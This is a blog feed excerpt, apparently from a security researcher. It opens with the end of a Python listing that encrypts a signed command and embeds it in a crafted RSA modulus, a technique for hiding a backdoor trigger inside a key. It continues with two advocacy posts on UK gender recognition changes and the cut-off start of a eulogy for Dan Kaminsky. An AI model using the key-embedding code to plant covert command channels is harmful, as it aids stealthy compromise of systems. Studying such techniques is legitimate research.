class="pgcssn"&gt;srv_pub_hash&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">123</td><td> <code>&lt;span class="pgcssn"&gt;signature&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;prv_key&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;sign&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;to_sign&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">124</td><td> <code>&lt;span class="pgcssn"&gt;plaintext&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;signature&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcssn"&gt;command&lt;/span&gt;</code> </td></tr><tr><td class="linenos">125</td><td> <code>&lt;span class="pgcssn"&gt;ciphertext&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;chacha20&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;plaintext&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;sym_key&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;n_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;[:&lt;/span&gt;&lt;span class="pgcssmi"&gt;16&lt;/span&gt;&lt;span class="pgcssp"&gt;])&lt;/span&gt;</code> </td></tr><tr><td class="linenos">126</td><td> </td></tr><tr><td class="linenos">127</td><td> <code>&lt;span class="pgcssc1"&gt;# splice the payload into the modulus&lt;/span&gt;</code> </td></tr><tr><td class="linenos">128</td><td> <code>&lt;span class="pgcssn"&gt;n_bytes&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;replace_at&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;n_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;ciphertext&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssmi"&gt;16&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">129</td><td> <code>&lt;span class="pgcssn"&gt;n&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;mpz_from_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;n_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">130</td><td> </td></tr><tr><td class="linenos">131</td><td> <code>&lt;span class="pgcssc1"&gt;# We&amp;#39;ll choose a new prime `p` randomly, then divide the modulus to get a new&lt;/span&gt;</code> </td></tr><tr><td class="linenos">132</td><td> <code>&lt;span class="pgcssc1"&gt;# `q`. With this process the lowest bits of the modulus corrosponding to the&lt;/span&gt;</code> </td></tr><tr><td class="linenos">133</td><td> <code>&lt;span class="pgcssc1"&gt;# size (plus a few) of `p` get scrambled while the upper bits of the modulus&lt;/span&gt;</code> </td></tr><tr><td class="linenos">134</td><td> <code>&lt;span class="pgcssc1"&gt;# remain fixed. The size of `p` is chosen here such that our payload is kept.&lt;/span&gt;</code> </td></tr><tr><td class="linenos">135</td><td> <code>&lt;span class="pgcssc1"&gt;# NOTE: The security level of the key scales down with the size of `p`.&lt;/span&gt;</code> </td></tr><tr><td class="linenos">136</td><td> <code>&lt;span class="pgcssn"&gt;p_bytes&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssnb"&gt;min&lt;/span&gt;&lt;span class="pgcssp"&gt;((&lt;/span&gt;&lt;span class="pgcssn"&gt;RSA_BITS&lt;/span&gt; &lt;span class="pgcsso"&gt;//&lt;/span&gt; &lt;span class="pgcssmi"&gt;8&lt;/span&gt; &lt;span class="pgcsso"&gt;-&lt;/span&gt; &lt;span class="pgcssmi"&gt;17&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;-&lt;/span&gt; &lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;ciphertext&lt;/span&gt;&lt;span class="pgcssp"&gt;),&lt;/span&gt; &lt;span class="pgcssn"&gt;RSA_BITS&lt;/span&gt; &lt;span class="pgcsso"&gt;//&lt;/span&gt; &lt;span class="pgcssmi"&gt;16&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">137</td><td> </td></tr><tr><td class="linenos">138</td><td> <code>&lt;span class="pgcssc1"&gt;# generate p, q to produce the evil modulus&lt;/span&gt;</code> </td></tr><tr><td class="linenos">139</td><td> <code>&lt;span class="pgcssn"&gt;tries&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssmi"&gt;0&lt;/span&gt;</code> </td></tr><tr><td class="linenos">140</td><td> <code>&lt;span class="pgcssk"&gt;while&lt;/span&gt; &lt;span class="pgcsskc"&gt;True&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">141</td><td> <code> &lt;span class="pgcssn"&gt;p&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;random_prime&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;p_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">142</td><td> <code> &lt;span class="pgcssn"&gt;q&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;next_prime&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;c_div&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;n&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;p&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr><tr><td class="linenos">143</td><td> <code> &lt;span class="pgcssn"&gt;n_payload&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;p&lt;/span&gt; &lt;span class="pgcsso"&gt;*&lt;/span&gt; &lt;span class="pgcssn"&gt;q&lt;/span&gt;</code> </td></tr><tr><td class="linenos">144</td><td> <code> &lt;span class="pgcssn"&gt;n_payload_bytes&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;int_to_bytearray&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;n_payload&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">145</td><td> </td></tr><tr><td class="linenos">146</td><td> <code> &lt;span class="pgcssn"&gt;good&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssmi"&gt;0&lt;/span&gt;</code> </td></tr><tr><td class="linenos">147</td><td> <code> &lt;span class="pgcssk"&gt;for&lt;/span&gt; &lt;span class="pgcssn"&gt;i&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssnb"&gt;range&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;ciphertext&lt;/span&gt;&lt;span class="pgcssp"&gt;)):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">148</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssn"&gt;n_payload_bytes&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;16&lt;/span&gt;&lt;span class="pgcsso"&gt;+&lt;/span&gt;&lt;span class="pgcssn"&gt;i&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;==&lt;/span&gt; &lt;span class="pgcssn"&gt;ciphertext&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;i&lt;/span&gt;&lt;span class="pgcssp"&gt;]:&lt;/span&gt; &lt;span class="pgcssn"&gt;good&lt;/span&gt; &lt;span class="pgcsso"&gt;+=&lt;/span&gt; &lt;span class="pgcssmi"&gt;1&lt;/span&gt;</code> </td></tr><tr><td class="linenos">149</td><td> <code> &lt;span class="pgcssk"&gt;else&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt; &lt;span class="pgcssk"&gt;break&lt;/span&gt;</code> </td></tr><tr><td class="linenos">150</td><td> </td></tr><tr><td class="linenos">151</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssn"&gt;good&lt;/span&gt; &lt;span class="pgcsso"&gt;==&lt;/span&gt; &lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;ciphertext&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">152</td><td> <code> &lt;span class="pgcssc1"&gt;# parameter validation&lt;/span&gt;</code> </td></tr><tr><td class="linenos">153</td><td> <code> &lt;span class="pgcssn"&gt;totient&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;lcm&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;p&lt;/span&gt; &lt;span class="pgcsso"&gt;-&lt;/span&gt; &lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;q&lt;/span&gt; &lt;span class="pgcsso"&gt;-&lt;/span&gt; &lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">154</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssn"&gt;gcd&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;totient&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;RSA_E&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;==&lt;/span&gt; &lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">155</td><td> <code> &lt;span class="pgcssc1"&gt;# compute private exponent&lt;/span&gt;</code> </td></tr><tr><td class="linenos">156</td><td> <code> &lt;span class="pgcssn"&gt;d&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;invert&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;RSA_E&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;totient&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">157</td><td> </td></tr><tr><td class="linenos">158</td><td> <code> &lt;span class="pgcssn"&gt;rsa&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;rsa_construct&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;n_payload&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;RSA_E&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;d&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;p&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;q&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">159</td><td> <code> &lt;span class="pgcssk"&gt;break&lt;/span&gt;</code> </td></tr><tr><td class="linenos">160</td><td> </td></tr><tr><td class="linenos">161</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssn"&gt;tries&lt;/span&gt; &lt;span class="pgcsso"&gt;:=&lt;/span&gt; &lt;span class="pgcssn"&gt;tries&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcssmi"&gt;1&lt;/span&gt; &lt;span class="pgcsso"&gt;&amp;gt;&lt;/span&gt; &lt;span class="pgcssmi"&gt;100&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">162</td><td> <code> &lt;span class="pgcssnb"&gt;print&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;failed to generate key&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;file&lt;/span&gt;&lt;span class="pgcsso"&gt;=&lt;/span&gt;&lt;span class="pgcssn"&gt;stderr&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">163</td><td> <code> &lt;span class="pgcssn"&gt;exit&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">164</td><td> </td></tr><tr><td class="linenos">165</td><td> <code>&lt;span class="pgcssnb"&gt;print&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;pem_private&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;rsa&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt;</code> </td></tr></tbody></table></div> <p>I describe a similar technique in detail in my <a class="external" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fcert-tricks.html">Stupid Certificate Tricks</a> post, and also have an <a class="external" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fssh-vanity.html">SSH Vanity Key Generator</a> available to play with.</p> UK Slashes Recognition of Foreign Gender Corrections2024-03-19T21:18:00+00:002024-03-19T21:18:00+00:00ryanctag:rya.nc,2024-03-19:/activism/uk-slashes-foreign-gender-recognition.html <p>Kemi made her plan clear — anywhere offering “self-id” was going to be purged from the approved list. A statutory instrument to do that was introduced 6<sup>th</sup> December 2023. It was <a class="external" href="proxy.php?url=https%3A%2F%2Fstatutoryinstruments.parliament.uk%2Finstrument%2FZUg8pbz0%2Ftimeline%2FjRol4wj1">approved</a> yesterday, 18<sup>th</sup> March 2024. The changes are extensive — twenty-five US states (plus Washington, DC), four Australian territories, and twenty-five entire countries have been cut.</p> <!-- included from `include/globals.rst` --> <p>Seemingly in response to some combination of Scotland&rsquo;s now quashed <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.gov.scot%2Fpolicies%2Flgbti%2Fgender-recognition%2F">Gender Recognition Reform</a> and <a class="external" href="proxy.php?url=https%3A%2F%2Fenby.org.uk">my lawsuit</a>, on the UK&rsquo;s <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.thepinknews.com%2F2023%2F12%2F11%2Fkemi-badenoch-lgbtq-rights-gay-trans%2F">openly transphobic</a> &ldquo;Minister for Women and Equalities&rdquo;, Kemi Badenoch, <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.gov.uk%2Fgovernment%2Fspeeches%2Fwritten-ministerial-statement-to-parliament-regarding-the-gender-recognition-act-2004-consultation">announced</a> on 9<sup>th</sup> January 2023 that the list of the foreign countries and territories for which documentation is accepted under the <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FGender_Recognition_Act_2004">Gender Recognition Act 2004</a> (GRA) would be updated.</p> <p>The GRA&rsquo;s foreign recognition provision offers a streamlined process to those who have approved documentation correcting their gender. It sees very little use, only a handful of people every year. There is no evidence that this process has ever been abused.</p> <p>Under the &ldquo;standard&rdquo; path for gender recognition in the UK, transgender individuals must provide extensive evidence that requires a lot of time and money to obtain. The requirements are so burdensome that less than 5% of transgender individuals in the UK have been able to obtain a Gender Recognition Certificate (GRC).</p> <p>Kemi made her plan clear &mdash; anywhere offering &ldquo;self-id&rdquo; was going to be purged from the approved list. A statutory instrument to do that was introduced 6<sup>th</sup> December 2023. It was <a class="external" href="proxy.php?url=https%3A%2F%2Fstatutoryinstruments.parliament.uk%2Finstrument%2FZUg8pbz0%2Ftimeline%2FjRol4wj1">approved</a> yesterday, 18<sup>th</sup> March 2024. The changes are extensive &mdash; twenty-five US states (plus Washington, DC), four Australian territories, and twenty-five entire countries have been cut.</p> <p><em>Note: as of :ord:`21` March 2024 the SI has not yet been signed into law, but my understanding is that Kemi is likely to do that any day.</em></p> <details><summary>List of Countries and Territories Removed: (click/tap to expand)</summary> <ul class="simple"> <li>United States<ul> <li>California</li> <li>Colorado</li> <li>District of Columbia</li> <li>Florida</li> <li>Hawaii</li> <li>Illinois</li> <li>Maine</li> <li>Michigan</li> <li>Minnesota</li> <li>Mississippi</li> <li>Montana</li> <li>Nevada</li> <li>New Jersey</li> <li>New Mexico</li> <li>New York</li> <li>Oklahoma</li> <li>Oregon</li> <li>Rhode Island</li> <li>South Carolina</li> <li>South Dakota</li> <li>Utah</li> <li>Vermont</li> <li>Virginia</li> <li>Washington</li> <li>West Virginia</li> <li>Wyoming</li> </ul> </li> <li>Australia<ul> <li>Northern Territory</li> <li>South Australia</li> <li>Tasmania</li> <li>Victoria</li> </ul> </li> <li>Austria</li> <li>Belgium</li> <li>Bulgaria</li> <li>Canada</li> <li>Denmark</li> <li>Finland</li> <li>France</li> <li>Greece</li> <li>Iceland</li> <li>Liechtenstein</li> <li>Luxembourg</li> <li>Malta</li> <li>Mexico</li> <li>Moldova</li> <li>The Netherlands</li> <li>New Zealand</li> <li>Norway</li> <li>Poland</li> <li>Russia</li> <li>Serbia</li> <li>Singapore</li> <li>Slovenia</li> <li>Spain</li> <li>Switzerland</li> <li>Uruguay</li> </ul> </details><p><p></p></p> <p>The <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.legislation.gov.uk%2Fukdsi%2F2023%2F9780348254648%2Fpdfs%2Fukdsiem_9780348254648_en_001.pdf">explanitory memorandum</a> includes a point seemingly aimed at me: &ldquo;nonbinary people [can] only apply for a binary identity on their UK GRC.&rdquo;</p> <p>This statutory instrument had no rational basis. There is no evidence that self-id gender recognition systems are abused in any way. The sole intent was to harm transgender and nonbinary people.</p> <p><strong>Trans people living in the UK who have recognition from an affected country or territory can still apply under the old list, but they have very limited time to do so.</strong></p> <p>I made what noise I could about this, but I am currently stretched thin. I&rsquo;m nonbinary, and three years ago decided to seek legal recognition of my gender via <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.independent.co.uk%2Fnews%2Fworld%2Famericas%2Fuk-legal-gender-non-binary-lawsuit-b2354169.html">the courts</a>. When I applied for a GRC using my California birth certificate listing me as &ldquo;Nonbinary&rdquo;, it was actually granted. That was farther than I expected to get, but unfortunately they refused to put &ldquo;nonbinary&rdquo; on a GRC for me, as the law appears to require.</p> <p>The legal proceedings are ongoing. I&rsquo;m <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.crowdjustice.com%2Fcase%2Fnon-binary-recognition%2F">raising funds via CrowdJustice</a> to offset the costs of the case. <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.crowdjustice.com%2Fcase%2Fnon-binary-recognition%2F">Donations</a> go directly to <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.leighday.co.uk%2Fnews%2Fnews%2F2023-news%2Flegal-challenge-urges-government-to-give-legal-recognition-to-nonbinary-people%2F">my lawyers</a>.</p> <p>Aside from donations, I need to get my story out. Please tell others about what&rsquo;s happening here.</p> UK to Curtail Legal Recognition of Trans Immigrants2023-12-11T22:12:00+00:002023-12-11T22:12:00+00:00ryanctag:rya.nc,2023-12-11:/activism/uk-trans-immigrants.html <p>The UK's “Minister for Women and Equality”, Kemi Badenoch, who openly espouses hate for LGBTQ+ people, has said that many of these countries and territories no longer meet British standards. This is because they have followed the overall world-wide trend of improved rights for transgender people, which the UK opposes. The precise line between political scapegoating and bigotry on this issue is unclear.</p> <!-- included from `include/globals.rst` --> <p>The UK&rsquo;s Gender Recognition Act (GRA) was passed in 2004 and provides for legal gender recognition for transgender individuals. The &ldquo;standard&rdquo; route requires obtaining medical documentation that can take months of waiting and $1,000 USD or more to obtain. On top of this, applicants must provide evidence that they have been living in their gender for at least two years &mdash; which must be from multiple points in time from that period. The requirements are so burdensome that less than 5% of transgender individuals in the UK have been able to obtain a Gender Recognition Certificate (GRC).</p> <p>A streamlined process is available to transgender people who have received legal gender recognition in any country or territory on a pre-approved list. This is generally as simple as filling out an online application and sending in a sworn statement with a birth certificate or court order.</p> <p>The UK's &ldquo;Minister for Women and Equality&rdquo;, Kemi Badenoch, who openly espouses hate for LGBTQ+ people, has said that many of these countries and territories no longer meet British standards. This is because they have followed the overall world-wide trend of improved rights for transgender people, which the UK opposes. The precise line between political scapegoating and bigotry on this issue is unclear.</p> <p>In particular, 25 US states and DC are about to be removed from the list: California, Colorado, District of Columbia, Florida, Hawaii, Illinois, Maine, Michigan, Minnesota, Mississippi, Montana, Nevada, New Jersey, New Mexico, New York, Oklahoma, Oregon, Rhode Island, South Carolina, South Dakota, Utah, Vermont, Virginia, Washington, West Virginia, and Wyoming.</p> <p>Many countries are also to be removed, and several with extremely poor human rights records are to be added.</p> <p><a class="external" href="proxy.php?url=https%3A%2F%2Fwww.legislation.gov.uk%2Fuksi%2F2011%2F1630%2Fschedule%2Fmade">Current list</a></p> <details><summary>To be removed (click/tap to expand)</summary> <ul class="simple"> <li>United States<ul> <li>California</li> <li>Colorado</li> <li>District of Columbia</li> <li>Florida</li> <li>Hawaii</li> <li>Illinois</li> <li>Maine</li> <li>Michigan</li> <li>Minnesota</li> <li>Mississippi</li> <li>Montana</li> <li>Nevada</li> <li>New Jersey</li> <li>New Mexico</li> <li>New York</li> <li>Oklahoma</li> <li>Oregon</li> <li>Rhode Island</li> <li>South Carolina</li> <li>South Dakota</li> <li>Utah</li> <li>Vermont</li> <li>Virginia</li> <li>Washington</li> <li>West Virginia</li> <li>Wyoming</li> </ul> </li> <li>Australia<ul> <li>Northern Territory</li> <li>South Australia</li> <li>Tasmania</li> <li>Victoria</li> </ul> </li> <li>Austria</li> <li>Belgium</li> <li>Bulgaria</li> <li>Canada</li> <li>Denmark</li> <li>Finland</li> <li>France</li> <li>Greece</li> <li>Iceland</li> <li>Liechtenstein</li> <li>Luxembourg</li> <li>Malta</li> <li>Mexico</li> <li>Moldova</li> <li>The Netherlands</li> <li>New Zealand</li> <li>Norway</li> <li>Poland</li> <li>Russia</li> <li>Serbia</li> <li>Singapore</li> <li>Slovenia</li> <li>Spain</li> <li>Switzerland</li> <li>Uruguay</li> </ul> </details><p><p></p></p> <details><summary>To be added (click/tap to expand)</summary> <ul class="simple"> <li>Belarus</li> <li>Bosnia and Herzegovina</li> <li>China</li> <li>Cuba</li> <li>Georgia</li> <li>India</li> <li>Iran</li> <li>Kazakhstan</li> <li>Mongolia</li> <li>Montenegro</li> <li>Namibia</li> <li>Panama</li> <li>Sri Lanka</li> <li>Taiwan</li> </ul> </details><p><a class="external" href="proxy.php?url=https%3A%2F%2Fwww.legislation.gov.uk%2Fukdsi%2F2023%2F9780348254648%2Fschedule">Proposed list</a></p> <p><a class="external" href="proxy.php?url=https%3A%2F%2Fwww.legislation.gov.uk%2Fukdsi%2F2023%2F9780348254648%2Fpdfs%2Fukdsiem_9780348254648_en_001.pdf">Their justification</a> [PDF]</p> <p>Notes from the discussion in parliament:</p> <p><a class="external" href="proxy.php?url=https%3A%2F%2Fhansard.parliament.uk%2Fcommons%2F2023-12-06%2Fdebates%2FE7306EC2-EFCB-4331-BD82-F01FDF67CCBF%2FGenderRecognition">https://hansard.parliament.uk/commons/2023-12-06/debates/E7306EC2-EFCB-4331-BD82-F01FDF67CCBF/GenderRecognition</a></p> <p><a class="external" href="proxy.php?url=https%3A%2F%2Fhansard.parliament.uk%2FCommons%2F2023-12-06%2Fdebates%2F5EE7D197-67FF-42B8-B808-E03B904EE559%2FPointsOfOrder">https://hansard.parliament.uk/Commons/2023-12-06/debates/5EE7D197-67FF-42B8-B808-E03B904EE559/PointsOfOrder</a></p> <p><strong>This is a serious problem for transgender Americans living in the UK, as they are unlikely to be able to meet the documentation requirements for legal recognition.</strong></p> <p>Currently, having a Gender Recognition Certificate does not affect things like access to appropriate toilets and other gender segregated facilities, but the British government has been attempting to limit this to only those with GRCs or remove such rights entirely. Removing the fast track option first could be a strategy to limit international political backlash.</p> <p>A further concern is that British law does not have a clear way to legally determine the gender of anyone without a British birth certificate or GRC. Americans from affected states could have their gender challenged even if they aren&rsquo;t transgender.</p> <p>I note that in their justification, they explicitly call out that they won&rsquo;t accept documents for nonbinary people. This is likely at least partially in response to <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.independent.co.uk%2Fnews%2Fworld%2Famericas%2Fuk-legal-gender-non-binary-lawsuit-b2354169.html">my lawsuit seeking legal recognition as nonbinary</a>.</p> <p>It doesn&rsquo;t seem like there is any way to stop this without international political pressure &mdash; which was brought up as a concern during discussion in parliament. Let&rsquo;s create some. If you&rsquo;re an American, please contact <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.house.gov%2Frepresentatives%2Ffind-your-representative">your congressional representatives</a> about this as soon as possible.</p> <p>For your convenience, you can use the following as a starting point:</p> <blockquote> <p>The British government is about to remove access to a streamlined recognition process for transgender Americans who live in the UK. I ask that you take steps to express policy concerns to the British government in this matter, and that you do so quickly &mdash; swift action may make them think twice before following through.</p> <p>In particular, please bring this to the attention of Jessica Stern, the Department of State&rsquo;s LGBTQI+ Special Envoy. The official UK government contact regarding this issue is <a class="external" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fmailto%3Apublic.correspondence%40cabinetoffice.gov.uk">[email protected]</a>.</p> <p>The UK&rsquo;s Gender Recognition Act was passed in 2004 and allows transgender individuals to have their gender legally affirmed. As was common at the time, it required a process involving extensive documentation. To avoid further burdening people who had already gone through similar legal processes in their home countries, a streamlined process was included for them. Eligibility is determined by a pre-approved list.</p> <p>On December 6th, a draft order was published, which would remove 25 states and DC from the list: California, Colorado, District of Columbia, Florida, Hawaii, Illinois, Maine, Michigan, Minnesota, Mississippi, Montana, Nevada, New Jersey, New Mexico, New York, Oklahoma, Oregon, Rhode Island, South Carolina, South Dakota, Utah, Vermont, Virginia, Washington, West Virginia, and Wyoming.</p> <p>Most of these states were removed for &ldquo;no longer meeting British standards&rdquo;. In other words, they modernized their legislation to align with emerging international best practices.</p> <p>Again, I urge you to take action immediately &mdash; these changes are otherwise likely to pass within the next few weeks.</p> </blockquote> Dan Kaminsky - A Eulogy2021-04-24T19:26:00+01:002021-04-24T19:26:00+01:00ryanctag:rya.nc,2021-04-24:/threads/dakami-eulogy.html <p>I remember attending Dan Kaminsky’s talk at DEFCON 12 and being blown away by it. Three years later, I went on the original “Hackers on a Plane” trip and ended up seated next to Dan on one of the flights. We quickly became friends. His mentorship over the years had an enormous impact on me.</p> <!-- included from `include/globals.rst` --> <p><em>Note: This was originally posted as a <a class="external" href="proxy.php?url=https%3A%2F%2Ftwitter.com%2Fryancdotorg%2Fstatus%2F1385989257638993922">thread on Twitter</a>. It has been lightly edited and reformatted here for convenience.</em></p> <p>I remember attending Dan Kaminsky&rsquo;s talk at DEFCON 12 and being blown away by it. Three years later, I went on the original &ldquo;Hackers on a Plane&rdquo; trip and ended up seated next to Dan on one of the flights. We quickly became friends. His mentorship over the years had an enormous impact on me.</p> <p>We both went back to CCCamp in 2011. I excitedly told him about a reverse DNS scanning project (0.0.0.0/0 in 12 hours on AWS for like $50), and then we ended up talking about the Debian RNG bug and password security, walking around camp watching the lightning in the distance.</p> <p>When I was doing my original brainwallet research back in 2013 and cracked the woodchuck wallet the first thing I did after showing my ex (then girlfriend) was call him. I told him I&rsquo;d found something but didn&rsquo;t feel comfortable discussing over the phone. He invited me over.</p> <p>My ex and I hopped on BART headed into SF and met him at the loft he was living at above a motorcycle shop. We talked and carefully planned and then I accidentally made 250 BTC vanish.</p> <p>Dan looked at me and said &ldquo;[my ex] and I are going to go for a walk and return with burritos. You&rsquo;re going to calm down and have this fixed by the time we get back. It&rsquo;ll be okay.&rdquo;</p> <p>It was, and I did. I&rsquo;d simply forgotten about change addresses for a brief moment of terror.</p> <p>I think the first time he mentioned wanting to hire me was a few months later at a Bitcoin conference in San Jose. He believed in me. I went 